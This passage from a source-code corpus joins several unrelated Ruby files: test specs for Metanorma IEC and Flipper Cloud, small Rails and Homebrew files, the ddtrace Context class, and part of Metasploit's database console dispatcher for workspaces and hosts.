accordance with conditions determined by agreement between the two organizations. </p> </li> <li> <p id='_'> The formal decisions or agreements of IEC on technical matters express, as nearly as possible, an international consensus of opinion on the relevant subjects since each technical committee has representation from all interested IEC National Committees. </p> </li> <li> <p id='_'> IEC Publications have the form of recommendations for international use and are accepted by IEC National Committees in that sense. While all reasonable efforts are made to ensure that the technical content of IEC Publications is accurate, IEC cannot be held responsible for the way in which they are used or for any misinterpretation by any end user. </p> </li> <li> <p id='_'> In order to promote international uniformity, IEC National Committees undertake to apply IEC Publications transparently to the maximum extent possible in their national and regional publications. Any divergence between any IEC Publication and the corresponding national or regional publication shall be clearly indicated in the latter. </p> </li> <li> <p id='_'> IEC itself does not provide any attestation of conformity. Independent certification bodies provide conformity assessment services and, in some areas, access to IEC marks of conformity. IEC is not responsible for any services carried out by independent certification bodies. </p> </li> <li> <p id='_'>All users should ensure that they have the latest edition of this publication.</p> </li> <li> <p id='_'> No liability shall attach to IEC or its directors, employees, servants or agents including individual experts and members of its technical committees and IEC National Committees for any personal injury, property damage or other damage of any nature whatsoever, whether direct or indirect, or for costs (including legal fees) and expenses arising out of the publication, use of, or reliance upon, this IEC Publication or any other IEC Publications. </p> </li> <li> <p id='_'> Attention is drawn to the Normative references cited in this publication. Use of the referenced publications is indispensable for the correct application of this publication. </p> </li> <li> <p id='_'> Attention is drawn to the possibility that some of the elements of this IEC Publication may be the subject of patent rights. IEC shall not be held responsible for identifying any or all such patent rights. </p> </li> </ol> </clause> </legal-statement> <license-statement> <clause> <p id='_'> This document is a draft distributed for approval. It may not be referred to as an International Standard until published as such. </p> <p id='_'> In addition to their evaluation as being acceptable for industrial, technological, commercial and user purposes, Final Draft International Standards may on occasion have to be considered in the light of their potential to become standards to which reference may be made in national regulations. </p> <p id='_'> Recipients of this document are invited to submit, with their comments, notification of any relevant patent rights of which they are aware and to provide supporting documentation. </p> </clause> </license-statement> <feedback-statement> <clause id='boilerplate-cenelec-attention'> <title>Attention IEC-CENELEC parallel voting</title> <p id='_'> The attention of IEC National Committees, members of CENELEC, is drawn to the fact that this Final Draft International Standard (FDIS) is submitted for parallel voting. </p> <p id='_'>The CENELEC members are invited to vote through the CENELEC voting system.</p> </clause> </feedback-statement> </boilerplate> <sections/> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "defaults substage for stage 60" do input = <<~INPUT = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :docstage: 60 INPUT output = <<~OUTPUT <iec-standard xmlns="https://www.metanorma.org/ns/iec" type="semantic" version="#{Metanorma::Iec::VERSION}"> <bibdata type="standard"> <docidentifier type="ISO">IEC 1000 ED 1</docidentifier> <docnumber>1000</docnumber> <contributor> <role type="author"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type="publisher"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <language>en</language> <script>Latn</script> <status> <stage abbreviation="PPUB">60</stage> <substage abbreviation="PPUB">60</substage> </status> <copyright> <from>#{Date.today.year}</from> <owner> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </owner> </copyright> <ext> <doctype>article</doctype> <horizontal>false</horizontal> <editorialgroup> <technical-committee/> <subcommittee/> <workgroup/> </editorialgroup> <structuredidentifier> <project-number>IEC 1000</project-number> </structuredidentifier> <stagename>International standard</stagename> </ext> </bibdata> #{boilerplate(Nokogiri::XML(BLANK_HDR + '</iec-standard>'))} <sections/> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "populates metadata for PRF" do input = <<~INPUT = Document title Author :docfile: test.adoc :nodoc: :novalid: :no-isobib: :docnumber: 1000 :docstage: 60 :docsubstage: 00 INPUT output = <<~OUTPUT <iec-standard xmlns="https://www.metanorma.org/ns/iec" type="semantic" version="#{Metanorma::Iec::VERSION}"> <bibdata type="standard"> <docidentifier type="ISO">IEC 1000 ED 1</docidentifier> <docnumber>1000</docnumber> <contributor> <role type="author"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <contributor> <role type="publisher"/> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </contributor> <language>en</language> <script>Latn</script> <status> <stage abbreviation="PPUB">60</stage> <substage abbreviation="BPUB">00</substage> </status> <copyright> <from>#{Date.today.year}</from> <owner> <organization> <name>International Electrotechnical Commission</name> <abbreviation>IEC</abbreviation> </organization> </owner> </copyright> <ext> <doctype>article</doctype> <horizontal>false</horizontal> <editorialgroup> <technical-committee/> <subcommittee/> <workgroup/> </editorialgroup> <structuredidentifier> <project-number>IEC 1000</project-number> </structuredidentifier> <stagename>International standard</stagename> </ext> </bibdata> #{boilerplate(Nokogiri::XML(BLANK_HDR + '</iec-standard>'))} <sections/> </iec-standard> OUTPUT expect(xmlpp(strip_guid(Asciidoctor.convert(input, *OPTIONS)))) .to be_equivalent_to xmlpp(output) end it "reads scripts into blank HTML document" do FileUtils.rm_f "test.html" Asciidoctor.convert(<<~"INPUT", *OPTIONS) = Document title Author :docfile: test.adoc :novalid: :no-isobib: :no-pdf: INPUT html = File.read("test.html", encoding: "utf-8") expect(html).to match(%r{<script>}) end it "uses default fonts" do FileUtils.rm_f "test.html" Asciidoctor.convert(<<~"INPUT", *OPTIONS) = Document title Author :docfile: test.adoc :novalid: :no-isobib: :no-pdf: INPUT html = File.read("test.html", encoding: "utf-8") expect(html) .to match(%r[\bpre[^{]+\{[^{]+font-family: "Courier New", monospace;]m) expect(html) .to match(%r[blockquote[^{]+\{[^{]+font-family: "Arial", sans-serif;]m) expect(html) .to match(%r[\.h2Annex[^{]+\{[^{]+font-family: "Arial", sans-serif;]m) end it "uses Chinese fonts" do FileUtils.rm_f "test.html" Asciidoctor.convert(<<~"INPUT", *OPTIONS) = Document title Author :docfile: test.adoc :novalid: :no-isobib: :script: Hans :no-pdf: INPUT html = File.read("test.html", encoding: "utf-8") expect(html) .to match(%r[\bpre[^{]+\{[^{]+font-family: "Courier New", monospace;]m) expect(html) .to match(%r[blockquote[^{]+\{[^{]+font-family: "Source Han Sans", serif;]m) expect(html) .to match(%r[\.h2Annex[^{]+\{[^{]+font-family: "Source Han Sans", sans-serif;]m) end it "uses specified fonts" do FileUtils.rm_f "test.html" Asciidoctor.convert(<<~"INPUT", *OPTIONS) = Document title Author :docfile: test.adoc :novalid: :no-isobib: :script: Hans :body-font: Zapf Chancery :header-font: Comic Sans :monospace-font: Andale Mono :no-pdf: INPUT html = File.read("test.html", encoding: "utf-8") expect(html).to match(%r[\bpre[^{]+\{[^{]+font-family: Andale Mono;]m) expect(html) .to match(%r[blockquote[^{]+\{[^{]+font-family: Zapf Chancery;]m) expect(html).to match(%r[\.h2Annex[^{]+\{[^{]+font-family: Comic Sans;]m) end it "strips MS-specific CSS" do FileUtils.rm_f "test.html" FileUtils.rm_f "test.doc" Asciidoctor.convert(<<~"INPUT", *OPTIONS) = Document title Author :docfile: test.adoc :novalid: :no-isobib: :no-pdf: INPUT word = File.read("test.doc", encoding: "utf-8") html = File.read("test.html", encoding: "utf-8") expect(word).to match(%r[mso-style-name: "Intro Title";]m) expect(html).not_to match(%r[mso-style-name: "Intro Title";]m) end end
41.232799
120
0.539339
1ceb051ed3b2955a4421622dce6e69c12b95b09d
47
module Aact class Condition < Aact end end
9.4
24
0.723404
e867f1ede2a481e2b78700423c2322d44fb1e777
7,616
require 'helper' require 'flipper/cloud' require 'flipper/adapters/instrumented' require 'flipper/instrumenters/memory' RSpec.describe Flipper::Cloud do before do stub_request(:get, /flippercloud\.io/).to_return(status: 200, body: "{}") end context "initialize with token" do let(:token) { 'asdf' } before do @instance = described_class.new(token) memoized_adapter = @instance.adapter sync_adapter = memoized_adapter.adapter @http_adapter = sync_adapter.instance_variable_get('@remote') @http_client = @http_adapter.instance_variable_get('@client') end it 'returns Flipper::DSL instance' do expect(@instance).to be_instance_of(Flipper::Cloud::DSL) end it 'can read the cloud configuration' do expect(@instance.cloud_configuration).to be_instance_of(Flipper::Cloud::Configuration) end it 'configures instance to use http adapter' do expect(@http_adapter).to be_instance_of(Flipper::Adapters::Http) end it 'sets up correct url' do uri = @http_client.instance_variable_get('@uri') expect(uri.scheme).to eq('https') expect(uri.host).to eq('www.flippercloud.io') expect(uri.path).to eq('/adapter') end it 'sets correct token header' do headers = @http_client.instance_variable_get('@headers') expect(headers['Flipper-Cloud-Token']).to eq(token) end it 'uses noop instrumenter' do expect(@instance.instrumenter).to be(Flipper::Instrumenters::Noop) end end context 'initialize with token and options' do before do stub_request(:get, /fakeflipper\.com/).to_return(status: 200, body: "{}") @instance = described_class.new('asdf', url: 'https://www.fakeflipper.com/sadpanda') memoized_adapter = @instance.adapter sync_adapter = memoized_adapter.adapter @http_adapter = sync_adapter.instance_variable_get('@remote') @http_client = @http_adapter.instance_variable_get('@client') end it 'sets correct url' do uri = @http_client.instance_variable_get('@uri') expect(uri.scheme).to eq('https') expect(uri.host).to eq('www.fakeflipper.com') expect(uri.path).to eq('/sadpanda') end end it 'can initialize with no token explicitly provided' do with_modified_env "FLIPPER_CLOUD_TOKEN" => "asdf" do expect(described_class.new).to be_instance_of(Flipper::Cloud::DSL) end end it 'can set instrumenter' do instrumenter = Flipper::Instrumenters::Memory.new instance = described_class.new('asdf', instrumenter: instrumenter) expect(instance.instrumenter).to be(instrumenter) end it 'allows wrapping adapter with another adapter like the instrumenter' do instance = described_class.new('asdf') do |config| config.adapter do |adapter| Flipper::Adapters::Instrumented.new(adapter) end end # instance.adapter is memoizable adapter instance expect(instance.adapter.adapter).to be_instance_of(Flipper::Adapters::Instrumented) end it 'can set debug_output' do expect(Flipper::Adapters::Http::Client).to receive(:new) .with(hash_including(debug_output: STDOUT)) described_class.new('asdf', debug_output: STDOUT) end it 'can set read_timeout' do expect(Flipper::Adapters::Http::Client).to receive(:new) .with(hash_including(read_timeout: 1)) described_class.new('asdf', read_timeout: 1) end it 'can set open_timeout' do expect(Flipper::Adapters::Http::Client).to receive(:new) .with(hash_including(open_timeout: 1)) described_class.new('asdf', open_timeout: 1) end if RUBY_VERSION >= '2.6.0' it 'can set write_timeout' do expect(Flipper::Adapters::Http::Client).to receive(:new) .with(hash_including(open_timeout: 1)) described_class.new('asdf', open_timeout: 1) end end it 'can import' do stub_request(:post, /www\.flippercloud\.io\/adapter\/features.*/). with(headers: { 'Feature-Flipper-Token'=>'asdf', 'Flipper-Cloud-Token'=>'asdf', }).to_return(status: 200, body: "{}", headers: {}) flipper = Flipper.new(Flipper::Adapters::Memory.new) flipper.enable(:test) flipper.enable(:search) flipper.enable_actor(:stats, Flipper::Actor.new("jnunemaker")) flipper.enable_percentage_of_time(:logging, 5) cloud_flipper = Flipper::Cloud.new("asdf") get_all = { "logging" => {actors: Set.new, boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: "5"}, "search" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "stats" => {actors: Set["jnunemaker"], boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "test" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, } expect(flipper.adapter.get_all).to eq(get_all) cloud_flipper.import(flipper) expect(flipper.adapter.get_all).to eq(get_all) expect(cloud_flipper.adapter.get_all).to eq(get_all) end it 'raises error for failure while importing' do stub_request(:post, /www\.flippercloud\.io\/adapter\/features.*/). with(headers: { 'Feature-Flipper-Token'=>'asdf', 'Flipper-Cloud-Token'=>'asdf', }).to_return(status: 500, body: "{}") flipper = Flipper.new(Flipper::Adapters::Memory.new) flipper.enable(:test) flipper.enable(:search) flipper.enable_actor(:stats, Flipper::Actor.new("jnunemaker")) flipper.enable_percentage_of_time(:logging, 5) cloud_flipper = Flipper::Cloud.new("asdf") get_all = { "logging" => {actors: Set.new, boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: "5"}, "search" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "stats" => {actors: Set["jnunemaker"], boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "test" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, } expect(flipper.adapter.get_all).to eq(get_all) expect { cloud_flipper.import(flipper) }.to raise_error(Flipper::Adapters::Http::Error) expect(flipper.adapter.get_all).to eq(get_all) end it 'raises error for timeout while importing' do stub_request(:post, /www\.flippercloud\.io\/adapter\/features.*/). with(headers: { 'Feature-Flipper-Token'=>'asdf', 'Flipper-Cloud-Token'=>'asdf', }).to_timeout flipper = Flipper.new(Flipper::Adapters::Memory.new) flipper.enable(:test) flipper.enable(:search) flipper.enable_actor(:stats, Flipper::Actor.new("jnunemaker")) flipper.enable_percentage_of_time(:logging, 5) cloud_flipper = Flipper::Cloud.new("asdf") get_all = { "logging" => {actors: Set.new, boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: "5"}, "search" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "stats" => {actors: Set["jnunemaker"], boolean: nil, groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, "test" => {actors: Set.new, boolean: "true", groups: Set.new, percentage_of_actors: nil, percentage_of_time: nil}, } expect(flipper.adapter.get_all).to eq(get_all) expect { cloud_flipper.import(flipper) }.to raise_error(Net::OpenTimeout) expect(flipper.adapter.get_all).to eq(get_all) end end
37.517241
128
0.686581
87cd540131ea8b4d18474ead9574c5e6a08e7cf7
1,243
# frozen_string_literal: true RSpec.shared_context "changeset / seeds" do before do jane_id = conn[:users].insert name: "Jane" joe_id = conn[:users].insert name: "Joe" conn[:tasks].insert user_id: joe_id, title: "Joe Task" task_id = conn[:tasks].insert user_id: jane_id, title: "Jane Task" conn[:tags].insert task_id: task_id, name: "red" jane_post_id = conn[:posts].insert author_id: jane_id, title: "Hello From Jane", body: "Jane Post" joe_post_id = conn[:posts].insert author_id: joe_id, title: "Hello From Joe", body: "Joe Post" red_id = conn[:labels].insert name: "red" green_id = conn[:labels].insert name: "green" blue_id = conn[:labels].insert name: "blue" conn[:posts_labels].insert post_id: jane_post_id, label_id: red_id conn[:posts_labels].insert post_id: jane_post_id, label_id: blue_id conn[:posts_labels].insert post_id: joe_post_id, label_id: green_id conn[:messages].insert author: "Jane", body: "Hello folks" conn[:messages].insert author: "Joe", body: "Hello Jane" conn[:reactions].insert message_id: 1, author: "Joe" conn[:reactions].insert message_id: 1, author: "Anonymous" conn[:reactions].insert message_id: 2, author: "Jane" end end
37.666667
102
0.695093
bffd5c73279f4d15f341ab8c2cd92ec08b7074cf
150
FactoryBot.define do factory :user do name { Faker::Name.name } email { Faker::Internet.email } nickname { Faker::Name.name } end end
18.75
35
0.653333
3904562f9ec2181d8631f184ccab36dca5e8e569
263
class HiringController < ApplicationController def overview @resume_submitted = Candidate.resume_submitted(25) @pending = Candidate.pending(10) @archived = (Candidate.rejected(5) + Candidate.accepted(5)).sort_by{|c| c.updated_at }.reverse end end
32.875
98
0.749049
39f305afa9a61e487caa6fe79f1f8cd69117fe5d
1,020
class GstPython < Formula desc "GStreamer Python overrides for gobject-introspection-based pygst bindings" homepage "http://gstreamer.freedesktop.org/modules/gst-python.html" url "http://gstreamer.freedesktop.org/src/gst-python/gst-python-1.4.0.tar.xz" sha256 "b1e40c29ceb41b03f08d38aca6056054f0341d0706276326dceeec6ac8d53d3e" bottle do revision 1 sha256 "6e21cb7f62dc2d6ef248cd001053e365c8a4e337fd53daad66b9a701ced1e10a" => :yosemite sha256 "7360fc4d530557e1984398a521f928e1d0ecdd321a15608161ceede201a85b35" => :mavericks sha256 "2683cfdbd77a6537048890a08a907d476f470a6b7178434a6831495e712082de" => :mountain_lion end depends_on "gst-plugins-base" depends_on "pygobject3" def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end test do system "gst-inspect-1.0", "python" end end
35.172414
95
0.711765
bbce3ee032bd37189a1d342b43b11a236ce1bc1d
429
require 'capybara/rspec' require 'capybara/rails' require 'capybara/poltergeist' RSpec.configure do |config| Capybara.javascript_driver = :poltergeist Capybara.register_driver(:poltergeist) do |app| Capybara::Poltergeist::Driver.new app, js_errors: true, timeout: 90 end config.before(:each, :js) do if Capybara.javascript_driver == :selenium page.driver.browser.manage.window.maximize end end end
23.833333
71
0.745921
f89bdd9fda61795fae32fad9d066a34e66b41c5c
9,315
require 'thread' require 'ddtrace/diagnostics/health' require 'ddtrace/context_flush' require 'ddtrace/context_provider' module Datadog # \Context is used to keep track of a hierarchy of spans for the current # execution flow. During each logical execution, the same \Context is # used to represent a single logical trace, even if the trace is built # asynchronously. # # A single code execution may use multiple \Context if part of the execution # must not be related to the current tracing. As example, a delayed job may # compose a standalone trace instead of being related to the same trace that # generates the job itself. On the other hand, if it's part of the same # \Context, it will be related to the original trace. # # This data structure is thread-safe. # rubocop:disable Metrics/ClassLength class Context # 100k spans is about a 100Mb footprint DEFAULT_MAX_LENGTH = 100_000 attr_reader :max_length # Initialize a new thread-safe \Context. def initialize(options = {}) @mutex = Mutex.new # max_length is the amount of spans above which, for a given trace, # the context will simply drop and ignore spans, avoiding high memory usage. @max_length = options.fetch(:max_length, DEFAULT_MAX_LENGTH) reset(options) end def trace_id @mutex.synchronize do @parent_trace_id end end def span_id @mutex.synchronize do @parent_span_id end end def sampling_priority @mutex.synchronize do @sampling_priority end end def sampling_priority=(priority) @mutex.synchronize do @sampling_priority = priority end end def origin @mutex.synchronize do @origin end end def origin=(origin) @mutex.synchronize do @origin = origin end end # Return the last active span that corresponds to the last inserted # item in the trace list. This cannot be considered as the current active # span in asynchronous environments, because some spans can be closed # earlier while child spans still need to finish their traced execution. def current_span @mutex.synchronize do return @current_span end end def current_root_span @mutex.synchronize do return @current_root_span end end # Add a span to the context trace list, keeping it as the last active span. def add_span(span) @mutex.synchronize do # If hitting the hard limit, just drop spans. This is really a rare case # as it means despite the soft limit, the hard limit is reached, so the trace # by default has 10000 spans, all of which belong to unfinished parts of a # larger trace. This is a catch-all to reduce global memory usage. if @max_length > 0 && @trace.length >= @max_length # Detach the span from any context, it's being dropped and ignored. span.context = nil Datadog::Logger.log.debug("context full, ignoring span #{span.name}") # If overflow has already occurred, don't send this metric. # Prevents metrics spam if buffer repeatedly overflows for the same trace. unless @overflow Diagnostics::Health.metrics.error_context_overflow(1, tags: ["max_length:#{@max_length}"]) @overflow = true end return end set_current_span(span) @current_root_span = span if @trace.empty? @trace << span span.context = self end end # Mark a span as a finished, increasing the internal counter to prevent # cycles inside _trace list. def close_span(span) @mutex.synchronize do @finished_spans += 1 # Current span is only meaningful for linear tree-like traces, # in other cases, this is just broken and one should rely # on per-instrumentation code to retrieve handle parent/child relations. set_current_span(span.parent) return if span.tracer.nil? if span.parent.nil? && !all_spans_finished? if Datadog::Logger.debug_logging opened_spans = @trace.length - @finished_spans Datadog::Logger.log.debug("root span #{span.name} closed but has #{opened_spans} unfinished spans:") end @trace.reject(&:finished?).group_by(&:name).each do |unfinished_span_name, unfinished_spans| Datadog::Logger.log.debug("unfinished span: #{unfinished_spans.first}") if Datadog::Logger.debug_logging Diagnostics::Health.metrics.error_unfinished_spans( unfinished_spans.length, tags: ["name:#{unfinished_span_name}"] ) end end end end # Returns if the trace for the current Context is finished or not. A \Context # is considered finished if all spans in this context are finished. def finished? @mutex.synchronize do return all_spans_finished? end end # @@return [Numeric] numbers of finished spans def finished_span_count @mutex.synchronize do @finished_spans end end # Returns true if the context is sampled, that is, if it should be kept # and sent to the trace agent. def sampled? @mutex.synchronize do return @sampled end end # Returns both the trace list generated in the current context and # if the context is sampled or not. # # It returns +[nil,@sampled]+ if the \Context is # not finished. # # If a trace is returned, the \Context will be reset so that it # can be re-used immediately. # # This operation is thread-safe. # # @return [Array<Array<Span>, Boolean>] finished trace and sampled flag def get @mutex.synchronize do trace = @trace sampled = @sampled # still return sampled attribute, even if context is not finished return nil, sampled unless all_spans_finished? # Root span is finished at this point, we can configure it annotate_for_flush!(@current_root_span) reset [trace, sampled] end end # Delete any span matching the condition. This is thread safe. # # @return [Array<Span>] deleted spans def delete_span_if @mutex.synchronize do [].tap do |deleted_spans| @trace.delete_if do |span| finished = span.finished? next unless yield span deleted_spans << span # We need to detach the span from the context, else, some code # finishing it afterwards would mess up with the number of # finished_spans and possibly cause other side effects. span.context = nil # Acknowledge there's one span less to finish, if needed. # It's very important to keep this balanced. @finished_spans -= 1 if finished true end end end end # Set tags to root span required for flush def annotate_for_flush!(span) attach_sampling_priority(span) if @sampled && @sampling_priority attach_origin(span) if @origin end # Return a string representation of the context. def to_s @mutex.synchronize do # rubocop:disable Metrics/LineLength "Context(trace.length:#{@trace.length},sampled:#{@sampled},finished_spans:#{@finished_spans},current_span:#{@current_span})" end end private def reset(options = {}) @trace = [] @parent_trace_id = options.fetch(:trace_id, nil) @parent_span_id = options.fetch(:span_id, nil) @sampled = options.fetch(:sampled, false) @sampling_priority = options.fetch(:sampling_priority, nil) @origin = options.fetch(:origin, nil) @finished_spans = 0 @current_span = nil @current_root_span = nil @overflow = false end def set_current_span(span) @current_span = span if span @parent_trace_id = span.trace_id @parent_span_id = span.span_id @sampled = span.sampled else @parent_span_id = nil end end # Returns if the trace for the current Context is finished or not. # Low-level internal function, not thread-safe. def all_spans_finished? @finished_spans > 0 && @trace.length == @finished_spans end def attach_sampling_priority(span) span.set_metric( Ext::DistributedTracing::SAMPLING_PRIORITY_KEY, @sampling_priority ) end def attach_origin(span) span.set_tag( Ext::DistributedTracing::ORIGIN_KEY, @origin ) end # Return the start time of the root span, or nil if there are no spans or this is undefined. def start_time @mutex.synchronize do return nil if @trace.empty? @trace[0].start_time end end # Return the length of the current trace held by this context. def length @mutex.synchronize do @trace.length end end # Iterate on each span within the trace. This is thread safe. def each_span @mutex.synchronize do @trace.each do |span| yield span end end end end end
30.441176
132
0.643693
1deff5497f84c2812e45776e3e09688a789348a4
632
# frozen_string_literal: true class SendWelcomeEmailService include ServicePattern def initialize(current_user:) @current_user = current_user end def call return unless FeatureService.enabled?(:send_emails) return if current_user.welcome_email_sent_at return unless lead_school_user? WelcomeEmailMailer.generate( first_name: current_user.first_name, email: current_user.email, ).deliver_later current_user.update!( welcome_email_sent_at: Time.zone.now, ) end private attr_reader :current_user def lead_school_user? current_user.lead_schools.any? end end
19.151515
55
0.75
39a2e53b98fc6da74b9a6f5144ae859246256777
68,559
# -*- coding: binary -*- require 'json' require 'rexml/document' require 'rex/parser/nmap_xml' require 'msf/core/db_export' require 'msf/ui/console/command_dispatcher/db/analyze' require 'metasploit/framework/data_service' require 'metasploit/framework/data_service/remote/http/core' module Msf module Ui module Console module CommandDispatcher class Db require 'tempfile' include Msf::Ui::Console::CommandDispatcher include Msf::Ui::Console::CommandDispatcher::Common include Msf::Ui::Console::CommandDispatcher::Analyze DB_CONFIG_PATH = 'framework/database' # # The dispatcher's name. # def name "Database Backend" end # # Returns the hash of commands supported by this dispatcher. # def commands base = { "db_connect" => "Connect to an existing data service", "db_disconnect" => "Disconnect from the current data service", "db_status" => "Show the current data service status", "db_save" => "Save the current data service connection as the default to reconnect on startup", "db_remove" => "Remove the saved data service entry" } more = { "workspace" => "Switch between database workspaces", "hosts" => "List all hosts in the database", "services" => "List all services in the database", "vulns" => "List all vulnerabilities in the database", "notes" => "List all notes in the database", "loot" => "List all loot in the database", "db_import" => "Import a scan result file (filetype will be auto-detected)", "db_export" => "Export a file containing the contents of the database", "db_nmap" => "Executes nmap and records the output automatically", "db_rebuild_cache" => "Rebuilds the database-stored module cache (deprecated)", "analyze" => "Analyze database information about a specific address or address range", } # Always include commands that only make sense when connected. # This avoids the problem of them disappearing unexpectedly if the # database dies or times out. See #1923 base.merge(more) end def deprecated_commands [ "db_autopwn", "db_driver", "db_hosts", "db_notes", "db_services", "db_vulns", ] end # # Returns true if the db is connected, prints an error and returns # false if not. # # All commands that require an active database should call this before # doing anything. # def active? if not framework.db.active print_error("Database not connected") return false end true end def cmd_workspace_help print_line "Usage:" print_line " workspace List workspaces" print_line " workspace -v List workspaces verbosely" print_line " workspace [name] Switch workspace" print_line " workspace -a [name] ... Add workspace(s)" print_line " workspace -d [name] ... Delete workspace(s)" print_line " workspace -D Delete all workspaces" print_line " workspace -r <old> <new> Rename workspace" print_line " workspace -h Show this help information" print_line end def cmd_workspace(*args) return unless active? search_term = nil while (arg = args.shift) case arg when '-h','--help' cmd_workspace_help return when '-a','--add' adding = true when '-d','--del' deleting = true when '-D','--delete-all' delete_all = true when '-r','--rename' renaming = true when '-v','--verbose' verbose = true when '-S', '--search' search_term = args.shift else names ||= [] names << arg end end if adding and names # Add workspaces wspace = nil names.each do |name| wspace = framework.db.workspaces(name: name).first if wspace print_status("Workspace '#{wspace.name}' already existed, switching to it.") else wspace = framework.db.add_workspace(name) print_status("Added workspace: #{wspace.name}") end end framework.db.workspace = wspace print_status("Workspace: #{framework.db.workspace.name}") elsif deleting and names ws_ids_to_delete = [] starting_ws = framework.db.workspace names.uniq.each do |n| ws = framework.db.workspaces(name: n).first ws_ids_to_delete << ws.id if ws end if ws_ids_to_delete.count > 0 deleted = framework.db.delete_workspaces(ids: ws_ids_to_delete) process_deleted_workspaces(deleted, starting_ws) else print_status("No workspaces matching the given name(s) were found.") end elsif delete_all ws_ids_to_delete = [] starting_ws = framework.db.workspace framework.db.workspaces.each do |ws| ws_ids_to_delete << ws.id end deleted = framework.db.delete_workspaces(ids: ws_ids_to_delete) process_deleted_workspaces(deleted, starting_ws) elsif renaming if names.length != 2 print_error("Wrong number of arguments to rename") return end ws_to_update = framework.db.find_workspace(names.first) unless ws_to_update print_error("Workspace '#{names.first}' does not exist") return end opts = { id: ws_to_update.id, name: names.last } begin updated_ws = framework.db.update_workspace(opts) if updated_ws framework.db.workspace = updated_ws if names.first == framework.db.workspace.name print_status("Renamed workspace '#{names.first}' to '#{updated_ws.name}'") else print_error "There was a problem updating the workspace. Setting to the default workspace." framework.db.workspace = framework.db.default_workspace return end if names.first == Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME print_status("Recreated default workspace") end rescue => e print_error "Failed to rename workspace: #{e.message}" end elsif names name = names.last # Switch workspace workspace = framework.db.find_workspace(name) if workspace framework.db.workspace = workspace print_status("Workspace: #{workspace.name}") else print_error("Workspace not found: #{name}") return end else current_workspace = framework.db.workspace unless verbose current = nil framework.db.workspaces.sort_by {|s| s.name}.each do |s| if s.name == current_workspace.name current = s.name else print_line(" #{s.name}") end end print_line("%red* #{current}%clr") unless current.nil? return end col_names = %w{current name hosts services vulns creds loots notes} tbl = Rex::Text::Table.new( 'Header' => 'Workspaces', 'Columns' => col_names, 'SortIndex' => -1, 'SearchTerm' => search_term ) framework.db.workspaces.each do |ws| tbl << [ current_workspace.name == ws.name ? '*' : '', ws.name, framework.db.hosts(workspace: ws.name).count, framework.db.services(workspace: ws.name).count, framework.db.vulns(workspace: ws.name).count, framework.db.creds(workspace: ws.name).count, framework.db.loots(workspace: ws.name).count, framework.db.notes(workspace: ws.name).count ] end print_line print_line(tbl.to_s) end end def process_deleted_workspaces(deleted_workspaces, starting_ws) deleted_workspaces.each do |ws| print_status "Deleted workspace: #{ws.name}" if ws.name == Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME framework.db.workspace = framework.db.default_workspace print_status 'Recreated the default workspace' elsif ws == starting_ws framework.db.workspace = framework.db.default_workspace print_status "Switched to workspace: #{framework.db.workspace.name}" end end end def cmd_workspace_tabs(str, words) return [] unless active? framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty? end def cmd_hosts_help # This command does some lookups for the list of appropriate column # names, so instead of putting all the usage stuff here like other # help methods, just use it's "-h" so we don't have to recreating # that list cmd_hosts("-h") end # Changes the specified host data # # @param host_ranges - range of hosts to process # @param host_data - hash of host data to be updated def change_host_data(host_ranges, host_data) if !host_data || host_data.length != 1 print_error("A single key-value data hash is required to change the host data") return end attribute = host_data.keys[0] if host_ranges == [nil] print_error("In order to change the host #{attribute}, you must provide a range of hosts") return end each_host_range_chunk(host_ranges) do |host_search| next if host_search && host_search.empty? framework.db.hosts(address: host_search).each do |host| framework.db.update_host(host_data.merge(id: host.id)) framework.db.report_note(host: host.address, type: "host.#{attribute}", data: host_data[attribute]) end end end def add_host_tag(rws, tag_name) if rws == [nil] print_error("In order to add a tag, you must provide a range of hosts") return end opts = Hash.new() opts[:workspace] = framework.db.workspace opts[:tag_name] = tag_name rws.each do |rw| rw.each do |ip| opts[:ip] = ip framework.db.add_host_tag(opts) end end end def find_hosts_with_tag(workspace_id, host_address, tag_name) opts = Hash.new() opts[:workspace_id] = workspace_id opts[:host_address] = host_address opts[:tag_name] = tag_name framework.db.find_hosts_with_tag(opts) end def find_host_tags(workspace_id, host_address) opts = Hash.new() opts[:workspace_id] = workspace_id opts[:host_address] = host_address framework.db.find_host_tags(opts) end def delete_host_tag(rws, tag_name) opts = Hash.new() opts[:workspace] = framework.db.workspace opts[:tag_name] = tag_name if rws == [nil] framework.db.delete_host_tag(opts) else rws.each do |rw| rw.each do |ip| opts[:ip] = ip framework.db.delete_host_tag(opts) end end end end @@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] def cmd_hosts(*args) return unless active? onlyup = false set_rhosts = false mode = [] delete_count = 0 rhosts = [] 